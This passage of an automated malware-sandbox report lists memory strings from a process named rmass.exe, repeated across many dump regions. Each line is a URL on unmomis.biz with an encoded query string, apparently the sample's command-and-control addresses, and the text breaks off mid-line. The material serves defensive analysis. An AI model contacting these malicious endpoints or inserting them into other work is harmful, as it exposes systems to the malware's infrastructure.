00000002.00000003.4211926102.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4393842510.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4222858653.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?022E72DC292E72DC290072F0292E7211708CC310EB2F721C812C74EA071C5CE51B1E42F229
Source: rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?022E72DC292E72DC290072F0292E7211708CC310EB2F721C812C74EA071C5CE51B1E42F229ut1
Source: rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4186369949.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?022E72DC292E72DC290072F0292E7211708CC310EB2F721C812C74EA071C5CE51B1E42F22PZ
Source: rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?022EEFDCB72EEFDCB
Source: rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?022EEFDCB72EEFDCB&
Source: rmass.exe, 00000002.00000003.4273109521.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4140565319.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4214880443.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4141890908.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4461527639.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4311484143.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4149500963.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4262998373.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4235556739.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4460952078.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4193467188.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4299731740.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4164566072.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4414028680.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4144164011.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4197425310.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4135572902.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4464827385.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4342554634.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187631022.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4470906585.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?022EEFDCB72EEFDCB700EFF0B72EEF11EE8C5E10752FEF1C1F2CE9EA991CC1E5851EDFF2B7
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3535503644.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02386CA0CE386CA0CE166C8CCE386C6D979ADD6C0C396C60663A6A96E00A4299FC085C8ECE
Source: rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4186369949.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0263F495B963F495B94DF4B9B
Source: rmass.exe, 00000002.00000003.4273109521.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4214880443.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4461527639.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4311484143.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4262998373.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4235556739.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4460952078.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4193467188.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4299731740.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4414028680.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4197425310.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4464827385.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4342554634.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187631022.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4470906585.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4480605195.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4238656275.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4211926102.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4393842510.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4222858653.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4285890608.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0263F495B963F495B94DF4B9B963F458E0C145597B62F4551161F2A39751DAAC8B53C4BBB9
Source: rmass.exe, 00000002.00000003.4140565319.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4141890908.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4149500963.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4164566072.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4144164011.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4056166356.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4135572902.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4123312751.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4045346036.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4156102487.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4134227414.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4152119386.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4060737071.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4154841089.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4057131920.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4121202631.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4048249206.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4122009147.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4063043998.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4053780217.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4150889339.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?027874EEE37874EEE35674C2E3787423BADAC5222179742E4B7A72D8CD4A5AD7D14844C0E3
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?027874EEE37874EEE35674C2E3787423BADAC5222179742E4B7A72D8CD4A5AD7D14844C0E3n
Source: rmass.exe, 00000002.00000003.4140565319.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4016353425.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4141890908.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4149500963.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4021104328.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4193467188.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4164566072.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4144164011.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4197425310.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4056166356.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4135572902.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187631022.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4123312751.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4029648690.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4045346036.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4156102487.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4178335374.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188295783.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4186317458.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4022680696.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4134227414.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0287FB1F2B87FB1F2BA9FB332B87FBD272254AD3E986FBDF8385FD2905B5D52619B7CB312B
Source: rmass.exe, 00000002.00000003.4123312751.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4121202631.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4122009147.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4098286820.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4091984383.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4090722439.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4101646073.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4120100142.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?028CD355428CD35542A2D379428CD3981B2E6299808DD395EA8ED5636CBEFD6C70BCE37B42
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3863193910.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3944189600.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3866962171.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3902362219.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?028E010B528E010B52A00127528E01C60B2CB0C7908F01CBFA8C073D7CBC2F3260BE312552
Source: rmass.exe, 00000002.00000003.3688133210.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3715874963.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3728119235.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702678755.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0296CD9FE896CD9FE8B8CDB3E896CD52B
Source: rmass.exe, 00000002.00000003.3769841749.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803406176.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3737240370.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3776331998.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3710186411.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3785353202.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3806675989.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3688069602.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3752426249.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702547680.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3715796595.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3704094282.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3759041114.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3790972902.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684780870.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702842288.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3742633908.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3794159664.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684932912.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3694847745.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0296CD9FE896CD9FE8B8CDB3E896CD52B1347C532A97CD5F4094CBA9C6A4E3A6DAA6FDB1E8
Source: rmass.exe, 00000002.00000003.3684932912.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0296CD9FE896CD9FE8B8CDB3E896CD52B1347C532A97CD5F4094CBA9C6A4E3A6DAA6FDB1E81
Source: rmass.exe, 00000002.00000003.3684932912.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0296CD9FE896CD9FE8B8CDB3E896CD52B1347C532A97CD5F4094CBA9C6A4E3A6DAA6FDB1E8AE2
Source: rmass.exe, 00000002.00000003.3684932912.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0296CD9FE896CD9FE8B8CDB3E896CD52B1347C532A97CD5F4094CBA9C6A4E3A6DAA6FDB1E8B5F
Source: rmass.exe, 00000002.00000003.3695041346.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702772696.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3688133210.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684932912.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702678755.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0296CD9FE896CD9FE8B8CDB3E896CD52B1347C532A97CD5F4094CBA9C6A4E3A6DAA6FDB1E8aZ
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0296CD9FE896CD9FE8B8CDB3E896CD52B1347C532A97CD5F4094CBA9C6A4E3A6DAA6FDB1E8n
Source: rmass.exe, 00000002.00000003.4123312751.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4121202631.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4122009147.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4127115973.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02B22D3E67B22D3E679C2D1267B22DF33E109CF2A5B32DFECFB02B084980030755821D1067
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02B22D3E67B22D3E679C2D1267B22DF33E109CF2A5B32DFECFB02B084980030755821D1067n
Source: rmass.exe, 00000002.00000003.3922140769.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3627470986.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4140565319.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4012807495.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3964612937.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4016353425.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4141890908.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3977059876.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3672568191.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3677623029.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4149500963.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4021104328.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3984372060.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3986398597.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4193467188.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3824068111.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3769841749.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3553103313.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4164566072.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4144164011.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4197425310.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02B27D604DB27D604D9C7D4C4DB27DAD1410CCAC8FB37DA0E5B07B56638053597F824D4E4D
Source: rmass.exe, 00000002.00000003.3553205765.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02B27D604DB27D604D9C7D4C4DB27DAD1410CCAC8FB37DA0E5B07B56638053597F824D4E4D-6F
Source: rmass.exe, 00000002.00000003.3553205765.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02B27D604DB27D604D9C7D4C4DB27DAD1410CCAC8FB37DA0E5B07B56638053597F824D4E4D0-B
Source: rmass.exe, 00000002.00000003.3553205765.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02B27D604DB27D604D9C7D4C4DB27DAD1410CCAC8FB37DA0E5B07B56638053597F824D4E4D902
Source: rmass.exe, 00000002.00000003.3922140769.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3627470986.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4140565319.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4012807495.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3964612937.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4016353425.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4141890908.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3977059876.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3672568191.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3677623029.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4149500963.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4021104328.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3984372060.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3986398597.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4193467188.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3824068111.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3769841749.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3553103313.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4164566072.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4144164011.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4197425310.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02B27D604DB27D604D9C7D4C4DB27DAD1410CCAC8FB37DA0E5B07B56638053597F824D4E4DW
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02B27D604DB27D604D9C7D4C4DB27DAD1410CCAC8FB37DA0E5B07B56638053597F824D4E4Dn
Source: rmass.exe, 00000002.00000003.3553205765.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3649323644.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3613034353.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3658226697.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3635080754.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3585823397.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3640540179.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3579296015.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3623218358.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3646088000.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3572644902.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3558702374.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3655489377.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02CAC5EEE2CAC5EEE2E4C5C2E2CAC523BB68742220CBC52E4AC8C3D8CCF8EBD7D0FAF5C0E2
Source: rmass.exe, 00000002.00000003.3553205765.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02CAC5EEE2CAC5EEE2E4C5C2E2CAC523BB68742220CBC52E4AC8C3D8CCF8EBD7D0FAF5C0E2-6F
Source: rmass.exe, 00000002.00000003.3553205765.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02CAC5EEE2CAC5EEE2E4C5C2E2CAC523BB68742220CBC52E4AC8C3D8CCF8EBD7D0FAF5C0E2/Y
Source: rmass.exe, 00000002.00000003.3553205765.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02CAC5EEE2CAC5EEE2E4C5C2E2CAC523BB68742220CBC52E4AC8C3D8CCF8EBD7D0FAF5C0E2902
Source: rmass.exe, 00000002.00000003.3553205765.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02CAC5EEE2CAC5EEE2E4C5C2E2CAC523BB68742220CBC52E4AC8C3D8CCF8EBD7D0FAF5C0E2Fdo
Source: rmass.exe, 00000002.00000003.3553205765.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02CAC5EEE2CAC5EEE2E4C5C2E2CAC523BB68742220CBC52E4AC8C3D8CCF8EBD7D0FAF5C0E2Ver
Source: rmass.exe, 00000002.00000003.3922140769.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4140565319.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4012807495.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3964612937.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4016353425.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4214880443.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4141890908.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3977059876.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4149500963.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4021104328.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3984372060.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3986398597.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4193467188.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3824068111.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3769841749.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4164566072.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 